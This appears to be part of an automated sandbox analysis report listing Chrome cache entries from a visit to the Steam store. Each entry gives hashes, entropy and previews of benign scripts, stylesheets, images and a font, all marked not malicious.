Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	dropped
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_english.png
Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	downloaded
Size (bytes):	60854
Entropy (8bit):	5.237035743895263
Encrypted:	false
SSDEEP:	1536:AEJpvhd5dY0KEApMyw+l/oOJz9owymlgaUYCOlb+OeaLJIt:AEr5n6EhZkyuLJIt
MD5:	BF7E930C75C0FEC002110E9B34D8AA7D
SHA1:	92EAB00D40336B37E15583EF5D385B6B4E7A0A61
SHA-256:	FB1E3D2F0CB6E7D4E141CA84C8119F9A544C822B0BAF2F94F3073B84576770D8
SHA-512:	BE289CA1EA1355D5AA7508F145A4323FE20F875957CCB410222B7A8258ED4F3E8AFF72D00B1DA20CD04F8A7EFF3FC66C91FBF40EFAD877AED609DBFB039D4449
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=v36TDHXA_sAC&l=english
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65256), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	212727
Entropy (8bit):	5.057034139530741
Encrypted:	false
SSDEEP:	3072:J2diEMmwmQErjMuf3FyJzr6oQHExLNOUA72xiLu:J26mwmQwHf1yl6oQHnS
MD5:	DBF83B0B06701F47D98E0D3C67E17F22
SHA1:	ADCDA5E5A4FC3F714AF57A04D37E29A8740B8A14
SHA-256:	5F3B1FA6AEEAED942D188BE3A1C725386699AB82F8FF0D5CED0DD7A81DC4C55A
SHA-512:	790C3DDBD271919B677DF96E5B17061EE9C39B1B4FBE21F3AFA487B66512399912C2B6B41A1CF19D97A74D7015F1137289B65FF9342BED4FE3EB4A1819C0D16D
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/shared_english-json.js?contenthash=b762b3c9fb67218683df
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[2256],{33800:e=>{e.exports=JSON.parse('{"language":"english","Steam_Platform":"Steam","Button_About":"About","Button_Append":"Append","Button_Back":"Back","Button_Cancel":"Cancel","Button_Close":"Close","Button_Clone":"Clone","Button_Confirm":"Confirm","Button_Copy":"Copy","Button_Copied":"Copied","Button_CopyClipboard":"Copy to Clipboard","Button_CopyLink":"Copy Link","Button_Continue":"Continue","Button_Create":"Create","Button_Delete":"Delete","Button_Discuss":"Discuss","Button_Dismiss":"Dismiss","Button_Edit":"Edit","Button_Learn":"Learn more here","Button_Publish":"Publish","Button_Published":"Published","Button_Post":"Post","Button_OK":"OK","Button_Done":"Done","Button_Overwrite":"Overwrite","Button_Retry":"Retry","Button_Remove":"Remove","Button_

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	dropped
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	122660
Entropy (8bit):	6.047516179670634
Encrypted:	false
SSDEEP:	3072:XnN/O/ceJkGwg/MOAibD2hPfX4HYhDhudcvObkSafj9:9/O/ceJkGwg/MOAib6nX44NhIWOb8fh
MD5:	D45F521DBA72B19A4096691A165B1990
SHA1:	2A08728FBB9229ACCCBF907EFDF4091F9B9A232F
SHA-256:	6B7A3177485C193A2E80BE6269B6B12880E695A8B4349F49FCCF87F9205BADCC
SHA-512:	9262847972A50F0CF8FC4225C6E9A72DBF2C55CCBCC2A098B7F1A5BD9EA87502F3C495A0431373A3C20961439D2DAE4AF1B1DA5B9FADE670D7FCAED486831D8C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..n)...l..ujGSUB.d....v.....OS/2t.....\|...`cmap.d..........cvt F).....d....fpgm.6!....,....gasp.......\....glyf...d...l....head...A...$...6hhea...+...\...$hmtxv.x.........loca..g....h....maxp........... name.\....0....post............prep.......D...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	6.304821109987511
Encrypted:	false
SSDEEP:	24:j1hpunQWwjx82lY2T32HEV+/obKvKyJ3V+NgcbiPGlDwkNXoVS9v:pitNn2VaJJ3XrmwkNR
MD5:	9144BEC4573DB7B865C7678AC940199A
SHA1:	03F112BA8B6DBD6C3547763C9F195B17F6F6AE87
SHA-256:	18AF5AE91365E0EF0D029CAC6CD819377BC1DAEF5F4D55DBE9767C10C86ADF29
SHA-512:	F11A724F249797B1E9A3500B4EA4B891DDC44C6B3079FF94983513F85E13E1DBA3EB3402A838A78C60D5948B66CFEE8E4D4A03F037D67404D6737FA9D80F11F3
Malicious:	false
Reputation:	low
